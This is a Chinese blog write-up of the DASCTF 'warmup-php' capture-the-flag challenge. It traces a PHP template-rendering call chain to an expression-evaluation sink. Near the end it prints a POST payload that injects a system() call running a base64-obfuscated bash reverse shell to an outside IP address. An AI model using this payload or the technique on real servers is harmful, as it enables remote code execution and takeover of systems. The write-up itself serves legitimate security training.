2022DASCTF Apr X FATE 防疫挑战赛 warmup-php

最新推荐文章于 2024-04-21 11:16:34 发布

Arnoldqqq

最新推荐文章于 2024-04-21 11:16:34 发布

阅读量2.4k

点赞数 1

分类专栏：安恒月赛文章标签： ctf web安全

本文链接：https://blog.csdn.net/weixin_43610673/article/details/124389965

版权

安恒月赛专栏收录该内容

6 篇文章 1 订阅

订阅专栏

主页代码逻辑就是自动加载class下类文件，然后动态调用一个类，并设置成员变量。最后调用类的run()方法。

在这里插入图片描述

看uml类图其实就大致有数该实例化哪个类了，TestView
在这里插入图片描述

看这几个类文件的内容，很明显的页面模板生成代码，感觉是根据YII2框架的模板渲染提取的主要逻辑

先找漏洞点，在Base类中

在这里插入图片描述

再去找调用链，搜索run()方法，在ListView类中

在这里插入图片描述

接着跟到renderContent，会去调用类中的renderSection方法，$this->template需为{test}形式，才会被正则匹配，去调用renderSection函数
在这里插入图片描述

renderSection函数会拼接方法名，然后调用该方法，$matches[1]的内容就是$this->template变量{ }内的内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5F0SBvIj-1650799632438)(images/image-20220423173335854.png)]

接下来的函数调用就简单了，就是些变量赋值，最后调用evaluateExpression()函数到达函数执行点

在这里插入图片描述

/?action=TestView

#POST传参
properties[rowHtmlOptionsExpression]=system("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'")&properties[template]={TableBody}&properties[data][0]=111

直接反弹shell就行，读flag.txt提示没权限，ls -l / 看一下使用/readflag读取即可

在这里插入图片描述

Arnoldqqq

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
2022DASCTF Apr X FATE 防疫挑战赛 warmup-php

主页代码逻辑就是自动加载class下类文件，然后动态调用一个类，并设置成员变量。最后调用类的run()方法。看uml类图其实就大致有数该实例化哪个类了，TestView看这几个类文件的内容，很明显的页面模板生成代码，感觉是根据YII2框架的模板渲染提取的主要逻辑先找漏洞点，在Base类中再去找调用链，搜索run()方法，在ListView类中接着跟到renderContent，会去调用类中的renderSection方法，$this->template需为{test}形式，才会被正则
复制链接

扫一扫